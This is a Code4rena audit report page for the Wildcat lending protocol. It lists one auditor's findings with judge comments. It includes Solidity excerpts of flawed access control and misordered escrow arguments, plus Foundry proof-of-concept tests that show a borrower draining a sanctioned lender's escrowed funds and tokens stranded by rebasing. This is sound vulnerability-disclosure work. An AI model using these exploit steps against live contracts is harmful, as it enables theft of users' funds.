Platform: Code4rena
Start Date: 16/10/2023
Pot Size: $60,500 USDC
Total HM: 16
Participants: 131
Period: 10 days
Judge: 0xTheC0der
Total Solo HM: 3
Id: 296
League: ETH
Rank: 35/131
Findings: 4
Award: $197.49
π Selected for report: 1
π Solo Findings: 0
π Selected for report: 0xStalin
Also found by: 0xCiphky, 0xComfyCat, 0xbepresent, 3docSec, Eigenvectors, Fulum, HChang26, Infect3d, QiuhaoLi, SandNallani, SovaSlava, TrungOre, YusSecurity, ZdravkoHr, ast3ros, ayden, bdmcbri, cu5t0mpeo, elprofesor, gizzy, jasonxiale, kodyvim, marqymarq10, max10afternoon, nisedo, nobody2018, radev_sw, rvierdiiev, serial-coder, xeros
6.5602 USDC - $6.56
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L188 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L121
A malicious actor, who has stolen market tokens from a lender (via phishing, social engineering, etc.), can withdraw the lender's assets from a market without explicit authorization from the market borrower.
This exploit is possible due to a protocol flaw that allows anyone to be authorized as a lender in any market with a WithdrawOnly
role.
The attack may be executed in the following manner:
Prerequisite: Alice is a malicious actor who manages to steal Bob's market tokens.
WithdrawOnly
lender by calling WildcatMarketController#updateLenderAuthorization(aliceAddress, [ marketInWhichBobInvested ])
.market.queueWithdrawal(balanceOfBob)
and withdraws all stoken market tokens.The issue lies within the updateLenderAuthorization()
function, which has two key problems:
The function lacks access control and anyone could invoke it.
Even if called by passing an unauthorized lender, it mistakenly authorizes them in corresponding markets with a 'WithdrawOnly' role.
Let's see why:
function updateLenderAuthorization(address lender, address[] memory markets) external { for (uint256 i; i < markets.length; i++) { address market = markets[i]; if (!_controlledMarkets.contains(market)) { revert NotControlledMarket(); } WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender)); } }
The function makes absolutely no checks of the authorization status of the lender. It simply passes the value returned by _authorizedLenders.contains(lender)
to updateAccountAuthorization()
. Consequently, when Alice invokes this function, it leads to the following call: market.updateAccountAuthorization(alice, false)
.
WildcatMarketConfig#updateAccountAuthorization()
sets the WithdrawOnly
role if _isAuthorized
is false
:
function updateAccountAuthorization( address _account, bool _isAuthorized ) external onlyController nonReentrant { MarketState memory state = _getUpdatedState(); Account memory account = _getAccount(_account); if (_isAuthorized) { account.approval = AuthRole.DepositAndWithdraw; } else { account.approval = AuthRole.WithdrawOnly; // Alice gets authorized and permissioned here } _accounts[_account] = account; _writeState(state); emit AuthorizationStatusUpdated(_account, account.approval); }
This essentially permits Alice to withdraw stolen tokens without the explicit authorization of the market borrower.
Manual review
onlyBorrower
modifier to WildcatMarketController
. There is no viable scenario in which someone else should be able to call this function.WithdrawOnly
role if _isAuthorized == false
in WildcatMarketConfig#updateAccountAuthorization
.By applying these fixes even if some market tokens get stolen, the malicious actor would not be able to withdraw them since they would have no mechanism to authorize themselves in the market.
Access Control
#0 - c4-pre-sort
2023-10-27T08:57:29Z
minhquanym marked the issue as duplicate of #155
#1 - c4-judge
2023-11-07T12:58:20Z
MarioPoneder marked the issue as satisfactory
#2 - c4-judge
2023-11-14T13:59:00Z
MarioPoneder changed the severity to 3 (High Risk)
#3 - c4-judge
2023-11-14T13:59:52Z
MarioPoneder marked the issue as partial-50
#4 - c4-judge
2023-11-14T14:02:41Z
MarioPoneder marked the issue as duplicate of #266
π Selected for report: YusSecurity
Also found by: 0xAsen, 0xCiphky, 0xDING99YA, 0xKbl, 0xSwahili, 0xbepresent, 3docSec, AS, Aymen0909, DeFiHackLabs, GREY-HAWK-REACH, KeyKiril, MiloTruck, QiuhaoLi, Silvermist, SovaSlava, TrungOre, VAD37, Vagner, Yanchuan, ZdravkoHr, ast3ros, cartlex_, d3e4, deth, ggg_ttt_hhh, gizzy, kodyvim, nirlin, nobody2018, rvierdiiev, serial-coder, sl1, tallo, xeros
8.6729 USDC - $8.67
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L96-L97 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L173-L174 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166-L170
The WildcatMarketBase#_blockAccount()
function that is used to block a sanctioned lender contains a critical bug. It incorrectly calls IWildcatSanctionsSentinel(sentinel).createEscrow()
with misordered arguments, accidentially creating a vulnerable escrow that enables the borrower to drain all the funds of the sanctioned lender.
The execution of withdrawals (WildcatMarketWithdrawals#executeWithdrawal()
) also performs a check if the the accountAddress
is sanctioned and if it is, and escrow is created and the amount that was to be sent to the lender is sent to the escrow. That escrow, however, is also created with the account
and borrower
arguments in the wrong order.
That means wether or not the borrower has anything to do with a sanctioned account and their funds ever, that account will never be able to get their money back in case their sanction gets dismissed.
Consider this scenario to illustrate how the issue can be exploited.
WildcatMarket#nukeFromOrbit(larryAddress)
, blocking Larry and creating a vulnerable WildcatSanctionsEscrow
where Larry's market tokens are transferred.WildcatMarketController#authorizeLenders(bobAddress)
WildcatMarket#queueWithdrawal()
WildcatMarket#executeWithdrawal()
- and gains access to all of Larry's assets.Now, let's delve into the specifics and mechanics of the vulnerability.
The nukeFromOrbit()
function calls _blockAccount(state, larryAddress)
, blocking Larry's account, creating an escrow, and transferring his market tokens to that escrow.
//@audit Larry //@audit β function _blockAccount(MarketState memory state, address accountAddress) internal { Account memory account = _accounts[accountAddress]; // ... account.approval = AuthRole.Blocked; // ... account.scaledBalance = 0; address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( accountAddress, //@audit β Larry borrower, //@audit β Bob address(this) ); // ... _accounts[escrow].scaledBalance += scaledBalance; // ... }
In the code snippet, notice the order of arguments passed to createEscrow()
:
createEscrow(accountAddress, borrower, address(this));
However, when we examine the WildcatSanctionsSentinel#createEscrow()
implementation, we see a different order of arguments. This results in an incorrect construction of tmpEscrowParams
:
function createEscrow( address borrower, //@audit β Larry address account, //@audit β Bob address asset ) public override returns (address escrowContract) { // ... // @audit ( Larry , Bob , asset) // @audit β β β tmpEscrowParams = TmpEscrowParams(borrower, account, asset); new WildcatSanctionsEscrow{ salt: keccak256(abi.encode(borrower, account, asset)) }(); // ... }
The tmpEscrowParams
are essential for setting up the escrow correctly. They are fetched in the constructor of WildcatSanctionsEscrow
, and the order of these parameters is significant:
constructor() { sentinel = msg.sender; (borrower, account, asset) = WildcatSanctionsSentinel(sentinel).tmpEscrowParams(); // β β β //( Larry , Bob , asset) are the params fetched here. @audit }
However, due to the misordered arguments in _blockAccount()
, what's passed as tmpEscrowParams
is (borrower = Larry, account = Bob, asset)
, which is incorrect. This misordering affects the canReleaseEscrow()
function, which determines whether releaseEscrow()
should proceed or revert:
function canReleaseEscrow() public view override returns (bool) { //@audit Larry Bob // β β return !WildcatSanctionsSentinel(sentinel).isSanctioned(borrower, account); }
The misordered parameters impact the return value of sentinel.isSanctioned()
. It mistakenly checks Bob against the sanctions list, where he is not sanctioned.
//@audit Larry Bob // β β function isSanctioned(address borrower, address account) public view override returns (bool) { return !sanctionOverrides[borrower][account] && // true IChainalysisSanctionsList(chainalysisSanctionsList).isSanctioned(account); // false }
Thus isSanctioned()
returns false
and consequently canReleaseEscrow()
returns true
. This allows Bob to successfully execute releaseEscrow()
and drain all of Larry's market tokens:
function releaseEscrow() public override { if (!canReleaseEscrow()) revert CanNotReleaseEscrow(); uint256 amount = balance(); //@audit Bob Larry's $ // β β IERC20(asset).transfer(account, amount); emit EscrowReleased(account, asset, amount); }
After this, Bob simply needs to authorize himself as a lender in his own market and withdraw the actual assets.
Below is a PoC demonstrating how to execute the exploit.
To proceed, please include the following import statements in test/market/WildcatMarketConfig.t.sol
:
import 'src/WildcatSanctionsEscrow.sol'; import "forge-std/console2.sol";
Add the following test test/market/WildcatMarketConfig.t.sol
as well:
function test_borrowerCanStealSanctionedLendersFunds() external { vm.label(borrower, "bob"); // Label borrower for better trace readability // This is Larry The Lender address larry = makeAddr("larry"); // Larry deposists 10e18 into Bob's market _deposit(larry, 10e18); // Larry's been a bad guy and gets sanctioned sanctionsSentinel.sanction(larry); // Larry gets nuked by the borrower vm.prank(borrower); market.nukeFromOrbit(larry); // The vulnerable escrow in which Larry's funds get moved address vulnerableEscrow = sanctionsSentinel.getEscrowAddress(larry, borrower, address(market)); vm.label(vulnerableEscrow, "vulnerableEscrow"); // Ensure Larry's funds have been moved to his escrow assertEq(market.balanceOf(larry), 0); assertEq(market.balanceOf(vulnerableEscrow), 10e18); // Malicious borrower is able to release the escrow due to the vulnerability vm.prank(borrower); WildcatSanctionsEscrow(vulnerableEscrow).releaseEscrow(); // Malicious borrower has all of Larry's tokens assertEq(market.balanceOf(borrower), 10e18); // The borrower authorizes himself as a lender in the market _authorizeLender(borrower); // Queue withdrawal of all funds vm.prank(borrower); market.queueWithdrawal(10e18); // Fast-forward to when the batch duration expires fastForward(parameters.withdrawalBatchDuration); uint32 expiry = uint32(block.timestamp); // Execute the withdrawal market.executeWithdrawal(borrower, expiry); // Assert the borrower has drained all of Larry's assets assertEq(asset.balanceOf(borrower), 10e18); }
Run the PoC like this:
forge test --match-test test_borrowerCanStealSanctionedLendersFunds -vvvv
Manual review
WildcatSanctionsSentinel#createEscrow(borrower, account, asset)
:function createEscrow( - address borrower, + address account, - address account, + address borrower, address asset ) public override returns (address escrowContract) {
Error
#0 - c4-pre-sort
2023-10-27T03:06:24Z
minhquanym marked the issue as duplicate of #515
#1 - c4-judge
2023-11-07T11:36:13Z
MarioPoneder marked the issue as satisfactory
#2 - c4-judge
2023-11-07T11:43:34Z
MarioPoneder marked the issue as selected for report
#3 - c4-judge
2023-11-07T11:43:40Z
MarioPoneder marked the issue as not a duplicate
#4 - c4-judge
2023-11-07T11:58:49Z
MarioPoneder marked issue #556 as primary and marked this issue as a duplicate of 556
#5 - c4-judge
2023-11-07T12:00:38Z
MarioPoneder marked the issue as selected for report
#6 - c4-judge
2023-11-07T12:00:55Z
MarioPoneder marked the issue as not a duplicate
#7 - laurenceday
2023-11-09T08:21:05Z
#8 - MarioPoneder
2023-11-12T15:49:40Z
Selected because of detailed step-by-step PoC
#9 - c4-sponsor
2023-11-14T17:20:49Z
laurenceday (sponsor) confirmed
π Selected for report: MiloTruck
Also found by: 0xStalin, DarkTower, GREY-HAWK-REACH, InAllHonesty, J4X, YusSecurity, devival
172.0937 USDC - $172.09
Permanent loss for lenders. Once they deposit their assets to a market, their scaledBalance
gets updated only on withdrawals and is never synced in accordance to the underlying asset's supply change. They can only withdraw their scaledBalance
balance which in case of an increased underlying token supply will be less.
Create a new file POC.t.sol
under ./test
and paste the following code block in it.
The test must be executed against a fork:
forge test --fork-url <MAINNET_RPC_URL> --match-path ./test/POC.t.sol -vv
// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import './shared/Test.sol'; import './helpers/ExpectedStateTracker.sol'; interface IAMPL { function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function balanceOf(address who) external view returns (uint256); function totalSupply() external view returns (uint256); } contract POC is Test, ExpectedStateTracker { address AMPL_TOKEN = 0xD46bA6D942050d489DBd938a2C909A5d5039A161; uint256 DECIMALS = 9; // AMPL token has 9 decimals address AMPL_MONETARY_POLICY = 0x1B228a749077b8e307C5856cE62Ef35d96Dca2ea; IAMPL AMPL = IAMPL(AMPL_TOKEN); function setUp() public { deployController(parameters.borrower, false, true); parameters.controller = address(controller); parameters.asset = AMPL_TOKEN; parameters.withdrawalBatchDuration = 1 days; deployMarket(parameters); _authorizeLender(alice); lastTotalAssets = 0; } function _authorizeLender(address account) internal asAccount(parameters.borrower) { address[] memory lenders = new address[](1); lenders[0] = account; controller.authorizeLenders(lenders); } function test_impermanentLossForLender() public { uint256 DEPOSIT_AMOUNT = 1000 * 10**DECIMALS; // 1. Ensure Alice has AMPL tokens (1 000 AMPL) dealAmpl(alice, DEPOSIT_AMOUNT); assertEq(AMPL.balanceOf(alice), DEPOSIT_AMOUNT); // 2. Alice deposits to market vm.startPrank(alice); AMPL.approve(address(market), DEPOSIT_AMOUNT); market.depositUpTo(DEPOSIT_AMOUNT); console.log("Market AMPL balance before rebalance: ", AMPL.balanceOf(address(market))); // 3. Token gets rebased with an increased supply by 1% vm.startPrank(AMPL_MONETARY_POLICY); int256 rebaseAmount = int256(AMPL.totalSupply()) * 1 / 100; // Increase supply with β 1% AMPL.rebase(0 /* epoch only gets logged */, rebaseAmount); vm.stopPrank(); // 3.1. Log market balance after rebalance uint256 marketBalanceAfterRebalance = AMPL.balanceOf(address(market)); console.log("Market AMPL balance after rebalance: ", marketBalanceAfterRebalance); // 4. Alice withdraws all vm.startPrank(alice); market.queueWithdrawal(DEPOSIT_AMOUNT); uint32 expiry = uint32(block.timestamp + 1 days); vm.warp(expiry); market.executeWithdrawal(alice, expiry); // 5. Extra tokens remain in market uint256 aliceBalance = AMPL.balanceOf(alice); console.log("Alice balance after withdrawal: ", aliceBalance); assertEq(aliceBalance, DEPOSIT_AMOUNT); uint256 marketBalanceAfterWithdrawal = AMPL.balanceOf(address(market)); console.log("Market balance after rebase and withdrawal: ", marketBalanceAfterWithdrawal); assertEq(marketBalanceAfterWithdrawal, marketBalanceAfterRebalance - DEPOSIT_AMOUNT); console.log("Market total supply: ", market.totalSupply()); } function dealAmpl(address to, uint256 amount) private { address LARGE_AMPL_HOLDER = 0x223592a191ECfC7FDC38a9256c3BD96E771539A9; vm.prank(LARGE_AMPL_HOLDER); require(IAMPL(AMPL_TOKEN).transfer(to, amount), "Deal failed"); } }
After executing the test, we see that there are AMPL tokens left in the market's balance that no lender will be able to withdraw because their scaledBalance
will be equal to 0 which means they own no shares in the market which itself has a total supply of 0.
Test output:
Running 1 test for test/POC.t.sol:POC [PASS] test_impermanentLossForLender() (gas: 317259) Logs: Market AMPL balance before rebalance: 1000000000000 Market AMPL balance after rebalance: 1009999999999 Alice balance after withdrawal: 1000000000000 Market balance after rebase and withdrawal: 9999999999 Market total supply: 0
Manual review Foundry testing
When queuing withdrawals calculate the amount to be withdrawn based on the portion of the lender's deposit amount of the market's total supply at the time of the lender's deposit.
Other
#0 - c4-pre-sort
2023-10-27T09:59:10Z
minhquanym marked the issue as duplicate of #503
#1 - c4-judge
2023-11-07T22:50:40Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-07T22:55:02Z
MarioPoneder marked the issue as satisfactory
π Selected for report: J4X
Also found by: 0x3b, 0xCiphky, 0xComfyCat, 0xStalin, 0xbepresent, 3docSec, DavidGiladi, DeFiHackLabs, Drynooo, Fulum, GREY-HAWK-REACH, InAllHonesty, MatricksDeCoder, Mike_Bello90, MiloTruck, Phantom, SHA_256, T1MOH, Udsen, VAD37, YusSecurity, ZdravkoHr, ast3ros, caventa, deepkin, deth, devival, ggg_ttt_hhh, inzinko, jasonxiale, josieg_74497, karanctf, ke1caM, nisedo, nobody2018, nonseodion, osmanozdemir1, radev_sw, rvierdiiev, serial-coder, t0x1c
10.1663 USDC - $10.17
The existing repayment mechanism requires borrowers to transfer funds directly to the market's ERC20 account. This method is susceptible to errors and can result in the permanent loss of funds because it lacks safeguards against overpayments.
This design choice was made to enable third-party addresses to repay the loan during force majeure events.
A more effective approach would involve creating a function allowing anyone to repay the debt, capped at the MarketState#totalDebts()
, with excess funds automatically returned to the sender.
The protocol's constraints on market parameters are solely enforced during market creation, specifically within the deployMarket()
function.
However, subsequent changes to market parameters made directly through functions like WildcatMarketConfig#setMaxTotalSupply()
, WildcatMarketConfig#setAnnualInterestBips()
, and WildcatMarketConfig#setReserveRatioBips()
do not undergo any constraint checks.
Recommendation:
Ensure that the appropriate constraints are enforced when directly updating market parameters through the WildcatMarket
contract.
The whitepaper suggests that borrowers should have the ability to reduce capacity irrespective of the current market supply:
If a borrower decides they want less, this is also fine - dropping the capacity does not have any impact on assets that are currently in the vault, as the capacity dictates openness to new deposits. If a lender deposits 100 WETH into a vault and the borrower decides that actually, thatβll do, they can drop the maximum capacity to zero if they wish, but theyβre still on the hook to ultimately repay the lender that 100 WETH plus any interest accrued.
However, in the current implementation, this isn't possible due to a check in WildcatMarketConfig#setMaxTotalSupply(uint256 _maxTotalSupply)
:
if (_maxTotalSupply < state.totalSupply()) { revert NewMaxSupplyTooLow(); }
This check can inconvenience borrowers who wish to gradually reduce their market supply by preventing them from going below the current market supply, resulting in increased manual maintenance efforts.
Recommendation: Remove the mentioned check to enable borrowers to update the total supply as outlined in the whitepaper or update the whitepaper if the check is the intended behavior.
The or()
and xor()
functions in the BoolUtils
library are never used.
Recommendation: Remove any unused internal library functions which would otherwise become part of the deployed contract and thus incur unnecessary extra gas gost.
EscrowReleased
event may be emitted, even when an attempt to release escrow fails.In the implementation of WildcatSanctionsEscrow#releaseEscrow()
, the IERC20(asset).transfer(account, amount)
function is used to release escrowed funds. The code does not check the return value, which means that the EscrowReleased
event may be emitted even if the transfer of escrowed funds fails (e.g., when transfer()
returns false
).
Recommendation:
Use safeTransfer()
instead of transfer()
since it would revert in case transfer()
returns false
thus preventing incorrect emission of the EscrowReleased
event.
The code lacks NatSpec documentation in multiple areas, which is crucial for better code comprehension and maintenance. To enhance code readability, transparency, and maintainability, it is essential to add NatSpec documentation to functions with significant logic, providing clear explanations of their behavior, inputs, and outputs.
Examples:
WildcatMarketWithdrawals
getWithdrawalBatch()
getAvailableWithdrawalAmount()
processUnpaidWithdrawalBatch()
WildcatMarketController
computeMarketAddress()
resetReserveRatio()
WildcatSanctionsEscrow
Recommendation: Add NatSpec documentation to public/external functions which contain important logic.
#0 - c4-pre-sort
2023-10-29T15:02:32Z
minhquanym marked the issue as high quality report
#1 - c4-sponsor
2023-10-31T23:57:14Z
laurenceday (sponsor) confirmed
#2 - c4-judge
2023-11-09T15:57:14Z
MarioPoneder marked the issue as grade-b